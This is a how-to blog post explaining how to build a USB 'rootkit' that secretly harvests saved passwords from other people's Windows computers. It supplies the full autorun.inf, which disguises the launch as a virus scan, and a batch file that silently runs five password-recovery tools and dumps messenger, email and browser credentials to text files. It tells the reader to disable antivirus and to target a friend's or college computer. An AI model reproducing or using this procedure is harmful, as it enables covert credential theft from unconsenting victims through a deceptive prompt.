Learn a new trick to hack Passwords using a USB Pen Drive. As we all know, Windows stores most of the passwords used daily, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger, etc. Along with these, Windows also stores passwords for Outlook Express, SMTP, POP, and FTP accounts, and auto-complete passwords for many browsers like IE and Firefox. There exist many tools for recovering these passwords from their stored places. Using these tools and a USB pen drive, you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit:
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs:
Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free. Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by the Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet Explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view user names and passwords stored in Mozilla Firefox
Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to view the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Website, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step-by-step procedure to create a password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Your rootkit is ready and you are all set to hack the passwords. You can use this pen drive on your friend’s PC or on your college computer. Just follow these steps:
1. Insert the pen drive and the autorun window will pop up. (This is because we have created an autorun Pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the Pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP,Vista and 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
